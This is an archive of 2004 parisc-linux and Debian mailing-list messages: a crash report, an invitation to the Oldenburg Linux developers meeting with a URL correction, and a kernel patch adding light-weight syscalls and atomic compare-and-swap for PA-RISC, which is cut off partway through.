	Fri, 20 Aug 2004 01:41:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05953-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Aug 2004 01:41:36 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 47D5C3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Aug 2004 01:41:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6AF89298134; Fri, 20 Aug 2004 01:41:35 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30185-04; Fri, 20 Aug 2004 01:41:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CE813298130; Fri, 20 Aug 2004 01:41:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040813145557.GB31035@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21877

On Fri, Aug 13, 2004 at 10:55:58AM -0400, Carlos O'Donell wrote:
> High Priority Machine Check (HPMC): Code=1 regs=103b1080
> (Addr=00000000)

FYI, my c3600 at work also HPMC'd with tg3 stuff on the stack.
It crashed again while I was out of town and will see if it's
the same fingerprint. IIRC, this c3600 is running 2.6.4 kernel 
and was just recently started being use as system-imager server.
(in addition to the http/ftp services it advertises).

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Invitation to the Oldenburg Linux Developers Meeting #9
Date: Fri, 20 Aug 2004 12:38:46 +0200
Lines: 106
Approved: news@gmane.org
Message-ID: <20040820103846.GZ1784__9652.95975697718$1416623522$gmane$org@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623522 10756 80.91.229.3 (22 Nov 2014 02:32:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:02 +0000 (UTC)
To: Linux for m68k <linux-m68k@phil.uni-sb.de>,
 Linux for MIPS <linux-mips@linux-mips.org>,
 Linux for PA-RISC <parisc-linux@lists.parisc-linux.org>,
 Linux for Powerpc <linuxppc-dev@lists.linuxppc.org>,
 Debian M68k Development <debian-68k@lists.debian.org>,
 Debian MIPS Development <debian-mips@lists.debian.org>,
 Debian PA-RISC Development <debian-hppa@lists.debian.org>,
 Debian Powerpc Development <debian-powerpc@lists.debian.org>,
 Debian ARM Development <debian-arm@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20247 invoked by uid 65534); 20 Aug 2004 11:45:04 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx037) with SMTP; 20 Aug 2004 13:45:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id E59BEE92B; Fri, 20 Aug 2004 05:47:26 -0500 (CDT)
Old-Return-Path: <joey@infodrom.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by murphy.debian.org (Postfix) with ESMTP
	id 53F94EE54; Fri, 20 Aug 2004 05:46:40 -0500 (CDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 22E95366B8C; Fri, 20 Aug 2004 12:47:34 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m1By6nG-000olzC@finlandia.Infodrom.North.DE>
	for linux-mips@linux-mips.org; Fri, 20 Aug 2004 12:38:46 +0200 (CEST) 
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040803i
X-Rc-Virus: 2004-07-20_01
X-Rc-Spam: 2004-07-19_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_08_17_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.8 required=4.0 tests=LDOSUBSCRIBER,
	SUSPICIOUS_RECIPS,THE_FOLLOWING_FORM autolearn=no 
	version=2.63-lists.debian.org_2004_08_17_01
Resent-Message-ID: <-c-PAC.A.QW.8adJBB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3881
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 20 Aug 2004 05:47:26 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21878

Moin!

       Invitation to the Oldenburg Linux Developers Meeting #9
       -------------------------------------------------------

Executive summary:

URL:   http://oldenburger.linuxtage.de/Oldenburg2004/
What:  Oldenburg Linux Developers Meeting #9
Who:   Every developer interested in Linux on non-i386 platforms
       Every developer interested in developing the debian-installer
When:  September, 22nd to 26th (Wednesday noon to Sunday afternoon)
Where: University of Oldenburg, science building in Oldenburg Wechloy
Orga:  ffis e.V., Martin 'Joey' Schulze


Keeping the tradition alive we will organise another Linux developers
meeting in Oldenburg this year at the last weekend of September.  This
year, however, we will be able to use the facility from Wednesday to
Sunday, hence, one day longer than before.

There were loud complaints last year about the meeting being too
short, so it will be extended by one day this time.  The meeting will
take place at the University of Oldenburg in the scientific building
in Oldenburg Wechloy.

the goal of this developers meeting is to provide developers a means
to work in common on the non-i386 Linux ports and related topics and
to further the exchange of ideas and discussion about the several
ports.

We will have dedicated working and sleeping rooms as before.  We
should be able to use three more rooms during the nights in case the
number of attending developers is too high for the two dedicated
sleeping rooms.  We will be able to use the shower facility of the
sports department nearby.

This year Debian developers will join us again for work on the new
debian-installer.  They will probably want to test the installer on
some "obscure" hardware they don't normally have access to, so don't
worry if you should receive such a request.

We will have dinner together in a restaurant in the evening.  A
preliminary plan is on the web already, but the restaurants and the
order may still change.  We will have a barbecue on Friday for this is
the tenth developers meeting already.

As usual we will have a never-ending breakfast in the large working
room.  I will get rolls each morning and ensure that there will be
butter, cheese, saussages, jam, Nutella and stuff.  I'll also take
care of non-alcoholic fluids.

Attendance is free of cost including food and beverage in the working
rooms (although we are always thankful for donations, EUR 10-20 per
person should cover the expenses).  However, for the barbecue on
Friday instead of a restaurant we would be thankful if you could take
a stake in the expenses, EUR 5-10 should cover the costs.

Beside machines, equipment and documentation you'll need to take with
you a sleeping bag, maybe a camping mat or cot, towels, shower suff,
personal toilett stuff, maybe medicine, clothes, mug and plate are
optional but helpful.

You'll find routing information on the website mentioned above.

If you would like to attend the meeting, please send back the
following form, so that we can calculate space, power and food.

Name ................:

Date of arrival .....: ( ) Wednesday, Sep, 22nd
                       ( ) Thursday, Sep, 23rd
                       ( ) Friday, Sep, 24th 
                       ( ) Saturday, Sep, 25th

Date of departure ...: ( ) Friday, Sep. 24th
                       ( ) Saturday, Sep. 25th
                       ( ) Sunday, Sep. 26th

[ ] Vegetarian (only needed for the barbecue)

___ usable seats in my car, once arrived (only if you come by car)

Special requirements for food: ______________________

If you come by train/plane and want me to pick up up in Bremen or
Oldenburg, please drop me the exact arrival and departure times as
well.

If you have any further questions, please don't hesitate to ask me.

Regards,

	Joey

-- 
A mathematician is a machine for converting coffee into theorems.   Paul Erds

Please always Cc to me when replying to me on the lists.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Invitation to the Oldenburg Linux Developers Meeting #9
Date: Fri, 20 Aug 2004 13:21:21 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20040820112121.GA32210__1330.070969607$1416623523$gmane$org@finlandia.infodrom.north.de>
References: <20040820103846.GZ1784@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623523 10759 80.91.229.3 (22 Nov 2014 02:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:03 +0000 (UTC)
To: Linux for m68k <linux-m68k@phil.uni-sb.de>,
 Linux for MIPS <linux-mips@linux-mips.org>,
 Linux for PA-RISC <parisc-linux@lists.parisc-linux.org>,
 Linux for Powerpc <linuxppc-dev@lists.linuxppc.org>,
 Debian M68k Development <debian-68k@lists.debian.org>,
 Debian MIPS Development <debian-mips@lists.debian.org>,
 Debian PA-RISC Development <debian-hppa@lists.debian.org>,
 Debian Powerpc Development <debian-powerpc@lists.debian.org>,
 Debian ARM Development <debian-arm@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12622 invoked by uid 65534); 20 Aug 2004 12:54:56 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx016) with SMTP; 20 Aug 2004 14:54:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A9E47EEEF; Fri, 20 Aug 2004 06:28:00 -0500 (CDT)
Old-Return-Path: <joey@infodrom.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by murphy.debian.org (Postfix) with ESMTP
	id B0D02EF04; Fri, 20 Aug 2004 06:27:11 -0500 (CDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id BE002366B7C; Fri, 20 Aug 2004 13:28:05 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m1By7ST-000olzC@finlandia.Infodrom.North.DE>
	for linux-mips@linux-mips.org; Fri, 20 Aug 2004 13:21:21 +0200 (CEST) 
Content-Disposition: inline
In-Reply-To: <20040820103846.GZ1784@finlandia.infodrom.north.de>
User-Agent: Mutt/1.5.6+20040803i
X-Rc-Virus: 2004-07-20_01
X-Rc-Spam: 2004-08-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_08_17_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-2.0 required=4.0 tests=LDOSUBSCRIBER,
	SUSPICIOUS_RECIPS autolearn=no 
	version=2.63-lists.debian.org_2004_08_17_01
Resent-Message-ID: <U90PfB.A.O-D._AeJBB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3883
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 20 Aug 2004 06:28:00 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21879

Martin Schulze wrote:
> Moin!
> 
>        Invitation to the Oldenburg Linux Developers Meeting #9
>        -------------------------------------------------------
> 
> Executive summary:
> 
> URL:   http://oldenburger.linuxtage.de/Oldenburg2004/

Correct URL is <http://meeting.ffis.de/Oldenburg2004/>.  The above
domain got lost unfortunately.

> What:  Oldenburg Linux Developers Meeting #9
> Who:   Every developer interested in Linux on non-i386 platforms
>        Every developer interested in developing the debian-installer
> When:  September, 22nd to 26th (Wednesday noon to Sunday afternoon)
> Where: University of Oldenburg, science building in Oldenburg Wechloy
> Orga:  ffis e.V., Martin 'Joey' Schulze

> If you would like to attend the meeting, please send back the
> following form, so that we can calculate space, power and food.
> 
> Name ................:
> 
> Date of arrival .....: ( ) Wednesday, Sep, 22nd
>                        ( ) Thursday, Sep, 23rd
>                        ( ) Friday, Sep, 24th 
>                        ( ) Saturday, Sep, 25th
> 
> Date of departure ...: ( ) Friday, Sep. 24th
>                        ( ) Saturday, Sep. 25th
>                        ( ) Sunday, Sep. 26th
> 
> [ ] Vegetarian (only needed for the barbecue)
> 
> ___ usable seats in my car, once arrived (only if you come by car)
> 
> Special requirements for food: ______________________
> 
> If you come by train/plane and want me to pick up up in Bremen or
> Oldenburg, please drop me the exact arrival and departure times as
> well.
> 
> If you have any further questions, please don't hesitate to ask me.

Regards,

	Joey

-- 
A mathematician is a machine for converting coffee into theorems.   Paul Erds

Please always Cc to me when replying to me on the lists.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Add LWS, Add atomic CAS. Please review! :)
Date: Sun, 15 Aug 2004 17:11:47 -0400
Lines: 341
Approved: news@gmane.org
Message-ID: <20040815211147.GC27047@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623523 10762 80.91.229.3 (22 Nov 2014 02:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2538 invoked by uid 65534); 15 Aug 2004 21:12:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 15 Aug 2004 23:12:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C3C43BE4F; Sun, 15 Aug 2004 15:12:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22753-07; Sun, 15 Aug 2004 15:12:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B09D63BE54; Sun, 15 Aug 2004 15:11:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A32C3BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Aug 2004 15:11:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21789-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Aug 2004 15:11:50 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 9BB123BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Aug 2004 15:11:49 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BwSI8-0007ee-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Aug 2004 17:11:48 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (58% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21880


parisc,

Skip to the bottom and review the patch please :)

The following code adds light-weight-syscall infrastructure to parisc.
There are a couple of issues one should understand:

a. The user calls an LWS by a similar method to making a syscall,
   you jump to an entry point on the gateway page. I merely took 
   one of those addresses and made it the LWS entry.

b. All the code for the LWS runs with the users space ids in every
   sr except sr2, which is used to access all kernel data. The only 
   kernel data we currently access is a set of SMP locks for CAS.
   We do not load the kernel space because we want the exception
   handlers to *think* it's just a userspace program and kill it 
   when it does bad things (as opposed to killing the kernel).

c. The fast path is very fast. The slow path is *very* slow.
   I've provided code to test LWS with cr16 timing, please examine

        http://cvs.parisc-linux.org/userspace/test-lws/

The following is the list of testing I've done:

0. Tested on two 32-bit systems, 712/100 and C3000, UP and SMP.
   Userspace test completes without issue.

1. Build tested the 64-bit changes, haven't been able to boot
   a 64-bit box with a new kernel. If someone wants to build a 64-bit
   kernel and run the userspace test I would be appreciated!

The tests covers the following:

a. Testing CAS.
b. Testing calling LWS with invalid LWS #.
c. Testing CAS with invalid addresses.
d. Testing CAS with unaligned addresses.
e. Testing CAS over swapped out pages under high memory pressure.

Tests I want to write:

a. Multithreaded, attempting to deliver kills to children while
   they try to CAS. Here I attempt to show that you *can not* deliver a
   kill signal to a thread while it is in the middle of CAS. The only
   way to prove this is to compile with SMP and show that the locks are
   not being unlocked. Usually you prove this by having a signal handler
   that tries CAS again on the same adress, which will deadlock because
   the handler is in the middle of the mutex we try to make in CAS.

Here is the patch, ok to apply?

Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.12
diff -u -p -r1.12 syscall.S
--- arch/parisc/kernel/syscall.S	26 Apr 2004 15:57:53 -0000	1.12
+++ arch/parisc/kernel/syscall.S	15 Aug 2004 20:55:46 -0000
@@ -16,6 +16,8 @@
 #include <asm/assembly.h>
 #include <asm/processor.h>
 
+#include <linux/config.h> /* for CONFIG_SMP */
+
 #ifdef __LP64__
 	.level          2.0w
 #else
@@ -38,21 +40,62 @@
 	.align 4096
 linux_gateway_page:
 
-	.rept 56
+        /* ADDRESS 0x00 to 0xb0 = 176 bytes / 4 bytes per insn = 44 insns */
+	.rept 44
+	break   0,0
+	.endr
+
+	/* ADDRESS 0xb0 to 0xd8, lws uses 2 insns for entry */
+	/* Light-weight-syscall entry must always be located at 0xb0 
+
+		r20 - lws number
+		r26,r25,r24,r23,r22 - Input registers
+		r28 - Function return register
+		r21 - Error code.
+
+		Scracth: Any of the above that aren't being
+		currently used, including r1. 
+
+		Return pointer: r31 (Not usable)
+	*/
+
+/* WARNING: Keep this number updated with table size changes */
+#define __NR_lws_entries (1)
+
+/* Relocate symbols assuming linux_gateway_page is mapped
+   to virtual address 0x0 */
+#if defined(__LP64__)
+#  define LWS_ENTRY(_name_) .dword lws_##_name_ - linux_gateway_page
+#else
+#  define LWS_ENTRY(_name_) .word  lws_##_name_ - linux_gateway_page
+#endif
+
+lws_entry:
+	/* Unconditional branch to lws_start, located on the 
+	   same gateway page */
+	b lws_start
+	nop
+
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	break   0,0
 	.endr
 
+	/* This function MUST be located at 0xe0 for glibc's threading 
+	mechanism to work. DO NOT MOVE THIS CODE EVER! */
 set_thread_pointer:
 	gate	.+8, %r0		/* increase privilege */
 	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 	be	0(%sr7,%r31)		/* return to user space */
 	mtctl	%r26, %cr27		/* move arg0 to the control register */
 
+	/* Increase the chance of trapping if random jumps occur to this
+	address, fill from 0xf0 to 0x100 */
 	.rept 4
 	break   0,0
 	.endr
 
-/* This address must remain fixed, or user binaries go splat. */
+/* This address must remain fixed at 0x100 for glibc's syscalls to work */
 	.align 256
 linux_gateway_entry:
 	gate	.+8, %r0			/* become privileged */
@@ -177,11 +220,8 @@ linux_gateway_entry:
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 	
-#ifdef __LP64__
-	ldd,s   %r20(%r19), %r19
-#else
-	ldwx,s  %r20(%r19), %r19
-#endif
+	LDREGX  %r20(%r19), %r19
+
 	/* If this is a sys_rt_sigreturn call, and the signal was received
 	 * when not in_syscall, then we want to return via syscall_exit_rfi,
 	 * not syscall_exit.  Signal no. in r20, in_syscall in r25 (see
@@ -291,11 +331,8 @@ tracesys_next:	
 	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 
-#ifdef __LP64__
-	ldd,s   %r20(%r19), %r19
-#else
-	ldwx,s  %r20(%r19), %r19
-#endif
+	LDREGX  %r20(%r19), %r19
+
 	/* If this is a sys_rt_sigreturn call, and the signal was received
 	 * when not in_syscall, then we want to return via syscall_exit_rfi,
 	 * not syscall_exit.  Signal no. in r20, in_syscall in r25 (see
@@ -344,6 +381,172 @@ tracesys_sigexit:
 	ldil	L%syscall_exit_rfi,%r1
 	be,n	R%syscall_exit_rfi(%sr7,%r1)
 
+
+	/* Light-weight-syscall code */
+
+lws_start:
+	/* Gate and ensure we return to userspace */
+	gate	.+8, %r0
+	depi	3, 31, 2, %r31
+
+        /* Is the lws entry number valid? */
+	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	b,n	lws_exit_nosys
+
+	/* WARNING: Trashing sr2 and sr3 */
+	mfsp	%sr7,%r1			/* get userspace into sr3 */
+	mtsp	%r1,%sr3
+	mtsp	%r0,%sr2			/* get kernel space into sr2 */
+
+	/* Load table start */
+	ldil	L%lws_table, %r1
+	ldo	R%lws_table(%r1), %r28	/* Scratch use of r28 */
+	LDREGX	%r20(%sr2,r28), %r20
+
+	/* Jump to lws, lws table pointers already relocated */
+	be,n	0(%sr2,%r20)
+	/* WARNING: lws must issue the return to userspace! */
+
+lws_exit_nosys:
+	/* Return to userspace */
+	be	0(%sr3, %r31)
+	ldo	-ENOSYS(%r0),%r21		   /* set errno */
+
+lws_compare_and_swap:
+	/*
+		Implementing CAS as an atomic operation:
+
+		%r26 - Address to examine
+		%r25 - Old value to check (old)
+		%r24 - New value to set (new)
+		%r28 - Return prev through this register.
+
+		Scratch: r20, r28, r1
+	*/
+
+#ifdef CONFIG_SMP
+	.import lws_lock_start
+	/* Load start of lock table */
+	ldil	L%lws_lock_start, %r20
+	ldo	R%lws_lock_start(%r20), %r28
+
+	/* Extract four bits from r26 and hash lock (Bits 4-7) */
+	extru  %r26, 27, 4, %r20
+
+	/* Find lock to use, the hash is either one of 0 to
+	   15, multiplied by 16 (keep it 16-byte aligned)
+	   and add to the lock table offset. */
+	shlw	%r20, 4, %r20
+	add	%r20, %r28, %r20
+#endif
+
+cas_lock_loop:
+	rsm	PSW_SM_I, %r0
+
+#ifdef CONFIG_SMP
+	ldcw	0(%sr2,%r20), %r28
+	cmpb,<>,n	%r0, %r28, cas_action
+	ssm	PSW_SM_I, %r0
+	ldw	0(%sr2,%r20), %r28
+cas_read_loop:
+	cmpb,=,n	%r0, %r28, cas_read_loop
+	ldw	0(%sr2,%r20), %r28
+	b	cas_lock_loop
+#endif
+
+	/*
+		prev = *addr;
+		if ( prev == old )
+		  *addr = new;
+		return prev;
+	*/
+
+cas_action:
+	/* The load and store could fail */
+1:	ldw	0(%sr3,%r26), %r28
+	sub,<>	%r28, %r25, %r0
+2:	stw	%r24, 0(%sr3,%r26)
+	/* No errors */
+	copy	%r0, %r21
+#ifdef CONFIG_SMP
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+#endif
+	/* Return to userspace */
+	be	0(%sr3, %r31)
+	/* Turn I-bit back on */
+	ssm	PSW_SM_I, %r0
+
+3:		
+	/* Error occured on load or store */
+#ifdef CONFIG_SMP
+	/* Free lock */
+	stw	%r20, 0(%sr2,%r20)
+#endif
+	/* Turn I-bit back on */
+	ssm	PSW_SM_I, %r0
+	be	0(%sr3, %r31)
+	ldo	-EFAULT(%r0),%r21		   /* set errno */
+
+	/* Two exception table entries, one for the load,
+	   the other for the store. Either return -EFAULT */
+	.section __ex_table,"aw"
+#ifdef __LP64__
+	.dword	2b - linux_gateway_page
+	.dword	(3b - 2b) 
+#else
+	.word	2b - linux_gateway_page
+	.word	(3b - 2b) 
+#endif
+	.previous
+
+	.section __ex_table,"aw"
+#ifdef __LP64__
+	.dword	1b - linux_gateway_page
+	.dword	(3b - 1b) 
+#else
+	.word	1b - linux_gateway_page
+	.word	(3b - 1b) 
+#endif
+	.previous
+
+end_compare_and_swap:
+
+
+	/* Make sure nothing else is placed on this page */
+
+	.align 4096
+	.export end_linux_gateway_page
+end_linux_gateway_page:
+
+	/*
+		All light-weight-syscall atomic operations 
+		will use this set of locks 
+	*/
+	.section .data
+	.align 4096
+	.export lws_lock_start
+lws_lock_start:
+	/* lws locks */
+	.align 16
+	.rept 16
